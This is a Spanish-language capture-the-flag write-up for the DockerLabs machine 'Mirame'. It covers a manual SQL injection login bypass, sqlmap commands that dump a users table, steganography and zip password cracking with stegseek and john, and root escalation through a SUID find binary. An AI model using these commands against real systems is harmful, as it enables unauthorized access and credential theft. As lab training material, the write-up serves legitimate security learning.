> For the complete documentation index, see [llms.txt](https://propus.gitbook.io/hackbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://propus.gitbook.io/hackbook/writeups/dockerlabs/mirame.md).

# 🟩 Mirame

🧠Dificultad: Fácil | 🔓15/03/2026

## 🕵️ Reconocimiento

Comenzamos con un escaneo de puertos con `nmap`:

```bash
nmap -sC -sV -Pn $IPTARGET | tee nmap
```

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2Fh3JIDkGYceReLPoOAyrP%2Fimage.png?alt=media&amp;token=d51dbd3b-e7fa-4a78-95ed-0dd9aca91a77" alt=""><figcaption></figcaption></figure>

Tenemos abiertos los puertos de los servicios SSH y HTTP. Realizamos un escaneo de directorios con `ffuf`:

```bash
ffuf -w /usr/share/wordlists/SecLists-2025.2/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://$IPTARGET/FUZZ" -e .html,.php,.txt,.xml,.js
```

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FFwOrmBxEcd1DHhEbph91%2Fimage.png?alt=media&amp;token=ac61452f-db44-4511-b936-0e479661c772" alt=""><figcaption></figcaption></figure>

Si entramos a `index.php`, encontramos un panel de login:

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2Fkn9ZZw34KpWSk0DttQwr%2Fimage.png?alt=media&amp;token=174f243f-28e9-40af-a7e5-096c605147a6" alt=""><figcaption></figcaption></figure>

Solo de ver que el cuadro del input del usuario y contraseña están descuadrados, me atrevería a decir que el autor de la página se ha descuidado también en el tema de inyecciones SQL, pero vamos a seguir echándole un vistazo al servicio web.

La página `page.php` muestra un cuadro donde podemos consultar el tiempo de una ciudad a través de una API.

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2F3ne2vi2VyNGC57PHCWR6%2Fimage.png?alt=media&amp;token=5dc135ab-aa3e-426c-b0f8-c6b2db04ef72" alt=""><figcaption></figcaption></figure>

La página `auth.php` está hecha para mandar un POST con las credenciales del login y comprobar si son correctas.

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FyYCZ830gdfJhKUTJe2Ct%2Fimage.png?alt=media&amp;token=12c74179-8b10-4f1e-82e2-0c08205cfc5e" alt=""><figcaption></figcaption></figure>

Si ponemos una `'` en el campo de usuario, salta un error SQL. No está sanitizando la entrada correctamente.

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FfRiBkqf7tfKlZWcrUpr7%2Fimage.png?alt=media&amp;token=7ad89c63-7b18-45c1-8beb-6ca22f1d5540" alt=""><figcaption></figcaption></figure>

Si introducimos `' or 1=1; —` en el campo de usuario, y cualquier cosa en contraseña, nos redirecciona a la página `page.php`. Un poco raro porque esta página no requería autenticación desde un principio, es totalmente accesible, así que vamos a suponer que esta página no es relevante.

## 🚪 Ganando acceso

Usando sqlmap en la página `auth.php`, podemos listar las bases de datos.

```bash
sqlmap -u "http://172.17.0.2/auth.php" --data="username=hola&password=hola" --batch --level=5 --risk=3 --dbs
```

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FCvhSnNIbSZDqDpMeQjgu%2Fimage.png?alt=media&amp;token=ea3c756f-6e98-4a52-ae87-2933acfedd24" alt=""><figcaption></figcaption></figure>

```bash
sqlmap -u "http://172.17.0.2/auth.php" --data="username=hola&password=hola" --batch -D users --tables
```

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2Fpc8uEpfQ0KhX2dEXZE72%2Fimage.png?alt=media&amp;token=97470ec1-d4c4-492a-aa28-c72f853c4697" alt=""><figcaption></figcaption></figure>

```bash
sqlmap -u "http://172.17.0.2/auth.php" --data="username=hola&password=hola" --batch -D users -T usuarios --dump
```

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FZzxLMIFhFLamdjJHrac6%2Fimage.png?alt=media&amp;token=4141de63-36d9-4872-850f-ddff43755d8d" alt=""><figcaption></figcaption></figure>

Probé a tirar fuerza bruta con hydra a los usuarios que aparecen con las contraseñas, además de hacerlo también con el diccionario `rockyou.txt`, y no encontré nada. Me di cuenta que `directoriotravieso` podría ser un directorio oculto en la web:

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FfqTlXPYaPKzYYvO7Ufx3%2Fimage.png?alt=media&amp;token=fcf8d1d7-fe23-4e01-ba58-6c249c03f3d9" alt=""><figcaption></figcaption></figure>

Nos llevamos la imagen a nuestra máquina y la analizamos. Con `steghide` descubrimos que contiene un fichero oculto, pero tiene contraseña. Para averiguar que contraseña tiene, le hacemos un ataque de diccionario con `stegseek`:

```bash
stegseek miramebien.jpg /usr/share/wordlists/rockyou.txt
```

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FMBEqRghomDhQcG4Fxuwr%2Fimage.png?alt=media&amp;token=f7fde014-bf5c-49cf-a494-2ca8a95f78d9" alt=""><figcaption></figcaption></figure>

El zip oculto también está protegido con una contraseña. Le hacemos otro ataque de diccionario con `john`, pero antes, preparamos el hash con `zip2john`.

```bash
zip2john ocultito.zip > hash_zip.txt
```

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash_zip.txt
```

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FacszQloL4uxo8o6pzNDz%2Fimage.png?alt=media&amp;token=e0c9c4d3-cc98-427d-8f7d-07eb37fee35f" alt=""><figcaption></figcaption></figure>

Extraemos el contenido del zip y encontramos unas credenciales:

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FV26p8R8lDvph03NfR9pY%2Fimage.png?alt=media&amp;token=15581b68-3474-4043-b594-05ec3c6d42a6" alt=""><figcaption></figcaption></figure>

Ahora si podemos entrar a la máquina por SSH:

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FdgnnRI0dNC7Hn9tzCzuW%2Fimage.png?alt=media&amp;token=b2024edf-f6f5-43ae-9d3a-520cdea8b8e7" alt=""><figcaption></figcaption></figure>

## 💥 Escalada de privilegios

Buscamos los binarios con permisos `suid`:

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2Fgd3Y9ROTUWnF1oyPrBDg%2Fimage.png?alt=media&amp;token=f971dc64-0a40-4a53-a2c6-2bff821b430c" alt=""><figcaption></figcaption></figure>

Con el binario find podemos ejecutar `/bin/sh` y, al tener el bit suid activado, lo haremos como el propietario del binario (`root`):

```bash
find . -exec /bin/sh -p \; -quit
```

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FyJdvZNaqZDPssll7V699%2Fimage.png?alt=media&amp;token=a64f6379-50f1-492a-8af7-b479fbe8d34b" alt=""><figcaption></figcaption></figure>
